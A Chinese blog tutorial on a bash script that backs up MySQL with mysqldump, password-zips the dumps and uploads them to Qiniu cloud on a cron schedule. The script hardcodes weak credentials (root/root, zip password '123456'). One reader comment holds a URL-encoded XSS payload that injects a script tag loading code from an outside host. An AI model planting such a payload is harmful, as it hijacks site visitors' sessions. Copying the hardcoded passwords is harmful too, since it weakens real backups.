shell 定时备份mysql 上传七牛云

备份目录 /data/backup/mysql 脚本目录 /usr/local/mysql/script 脚本名称 mysql_data_backup.sh 这里是个人脚本路径,大家看着修改 注意: 数据库用户建议创建一个专门备份的用户和密码账号

七牛云邀请链接,需要的下伙伴可以点击邀请链接购买,优惠多多,点击链接

创建七牛云 如果不想上传七牛云就把脚本里面的去掉就好了 登录账户->对象存储->新建空间 获取ak sk下面要用

安装 qshell

进入root 目录
cd 空格
新建文件夹qshell
mkdir qshell
然后下载对应版本 qshell 我们Linux 是 64位的
查看命令如下:
uname -a
显示如下,看到我是64位:
Linux localhost.localdomain 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

然后我们下载对应版本的 :https://github.com/qiniu/qshell

cd qshell
wget http://devtools.qiniu.com/qshell-linux-x64-v2.4.0.zip?ref=developer.qiniu.com
unzip qshell-linux-x64-v2.4.0.zip
重新命名
mv qshell-linux-x64-v2.4.0 qshell
给权限
chmod +x qshell
然后查看下目录,方便设置环境变量
pwd
/root/qshell
设置环境变量,有三种方式,我们采用对所有系统用户生效,永久生效
vi /etc/profile
在末尾添加如下,注意自己 qshell 的路径
export PATH=$PATH:/root/qshell
执行生效
source /etc/profile 
然后执行
qshell
会有很多帮助命令列表,这样就代表添加环境变量成功了

接下来我们开始配置 qshell

首先我们需要添加公钥密钥和账号:
命令如下,请注意更换成自己的密钥
ak 和 sk https://portal.qiniu.com/user/key 查看, name 代表自己的七牛账号
qshell account ak sk name
添加完成后使用
qshell user ls 来查看用户列表

测试脚本

cd  /usr/local/mysql/script
./mysql_data_backup.sh

定时任务 crontab -e 凌晨一点备份

01 00 * * * /usr/local/mysql/script/mysql_data_backup.sh >/tmp/log_backup_mysql_$(date +"\%Y\%m\%d\%H\%M\%S").log

下面是脚本

#!/usr/bin/env bash
# Function description:
# Backup MySQL databases for each, backup schema and schema with data in one action.

# Usage:
# bash mysql_bash_backup.sh

# Every friday night execute
# 58 23 * * 5 /usr/local/mysql/script/mysql_data_backup.sh >/tmp/log_backup_mysql_$(date +"\%Y\%m\%d\%H\%M\%S").log


USER="`id -un`"
LOGNAME="$USER"
if [ $UID -ne 0 ]; then
    echo "WARNING: Running as a non-root user, \"$LOGNAME\". Functionality may be unavailable. Only root can use some commands or options"
fi

old_PATH=$PATH
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"

mysql_host=127.0.0.1
mysql_port=3306
mysql_username=root   #数据库用户
mysql_password=root   #数据库密码
mysql_basedir=/usr/local/mysql
save_old_backups_for_days=13
mysql_bin_mysql=${mysql_basedir}/bin/mysql
mysql_bin_dump=${mysql_basedir}/bin/mysqldump
mysql_backup_dir=/data/backup/mysql

date_format_type_dir=$(date '+%Y%m%d%H%M%S')

echo "--------------------------------"
echo "=> do backup scheduler start at $(date +%Y%m%d%H%M%S)"

# TODO, check user privileges
# check user if have 'RELOAD,EVENT' privileges,etc
# backup role
# GRANT ALTER,ALTER ROUTINE,CREATE,CREATE ROUTINE,CREATE TEMPORARY TABLES,CREATE VIEW,DELETE,DROP,EXECUTE,INDEX,INSERT,LOCK TABLES,SELECT,UPDATE,SHOW VIEW,RELOAD,EVENT ON *.* TO 'backup_user'@"%";
# FLUSH PRIVILEGES;

[ -d ${mysql_basedir} ] && mysql_datadir=${mysql_basedir}/data || mysql_datadir=/var/lib/mysql
[ -x ${mysql_bin_mysql} ] || mysql_bin_mysql=mysql
[ -x ${mysql_bin_dump} ] || mysql_bin_dump=mysqldump
[ -d ${mysql_backup_dir}/${date_format_type_dir} ] || mkdir -p ${mysql_backup_dir}/${date_format_type_dir}

mysql_databases_list=""
if [ -d ${mysql_datadir} ]; then
    mysql_databases_list=`ls -p ${mysql_datadir} | grep / |tr -d /`
else
    mysql_databases_list=$(${mysql_bin_mysql} -h${mysql_host} -P${mysql_port} -u${mysql_username} -p${mysql_password} -e "show databases;" )
fi

saved_IFS=$IFS
IFS=' '$'\t'$'\n'
for mysql_database in ${mysql_databases_list};do
    if echo ${mysql_database} | grep -Eqvi "^database$|sys|information_schema|performance_schema|^mysql$" ; then
      ${mysql_bin_dump} -u${mysql_username} -p${mysql_password} --host=${mysql_host} --port=${mysql_port}\
          --routines --events --triggers --single-transaction --flush-logs \
          --ignore-table=mysql.event --databases ${mysql_database} |& \
          gzip > ${mysql_backup_dir}/${date_format_type_dir}/${mysql_database}.sql.gz

      [ $? -eq 0 ] && echo "${mysql_database} backup successfully! " || \
          echo "${mysql_database} backup failed! "
      /bin/sleep 2

      ${mysql_bin_dump} -u${mysql_username} -p${mysql_password} --host=${mysql_host} --port=${mysql_port}\
           --routines --events --triggers --single-transaction --flush-logs \
           --ignore-table=mysql.event --databases ${mysql_database} --no-data |& \
           gzip > ${mysql_backup_dir}/${date_format_type_dir}/${mysql_database}_schema.sql.gz

      [ $? -eq 0 ] && echo "${mysql_database} schema backup successfully! " || \
          echo "${mysql_database} schema backup failed! "
      /bin/sleep 2
    fi
done
IFS=${saved_IFS}

save_days=${save_old_backups_for_days:-10}
need_clean=$(find ${mysql_backup_dir} -mtime +${save_days} -exec ls '{}' \;)
    if [ ! -z "${need_clean}" ]; then
        find ${mysql_backup_dir} -mtime +${save_days} -exec rm -rf '{}' \;
        echo "$need_clean have been cleaned! "
    else
        echo "nothing can be cleaned, skipped! "
    fi

echo "=> do backup scheduler finished at $(date +%Y%m%d%H%M%S)"
echo -e "\n\n\n"

#上传七牛start
echo ${mysql_backup_dir}/${date_format_type_dir} "\n\n\n" ccc "\n\n\n"
if [ -d ${mysql_backup_dir}/${date_format_type_dir} ]; then
   bakFile=${mysql_backup_dir}/${date_format_type_dir}
   zipFile="${mysql_backup_dir}/mysql_${date_format_type_dir}.zip"
   zip -rP "123456"  ${zipFile} ${bakFile}    #zip 密码压缩
   /root/qshell/qshell rput test "mysql_qn_${date_format_type_dir}.zip" ${zipFile} && rm -f ${zipFile}  #上传七牛云  test 桶名
fi
#上传七牛over

declare -x PATH=${old_PATH}

好了就到这,有问题欢迎沟通

大海技术博客
请先登录后发表评论
  • latest comments
  • 总共2条评论
大海技术博客

Lok.lala:%26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttp%3A%2F%2Fxssye.com%2FHqc3%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B

2020-03-24 14:24:09 回复

大海技术博客

Lok.lala:雅蠛蝶

2020-03-24 14:22:32 回复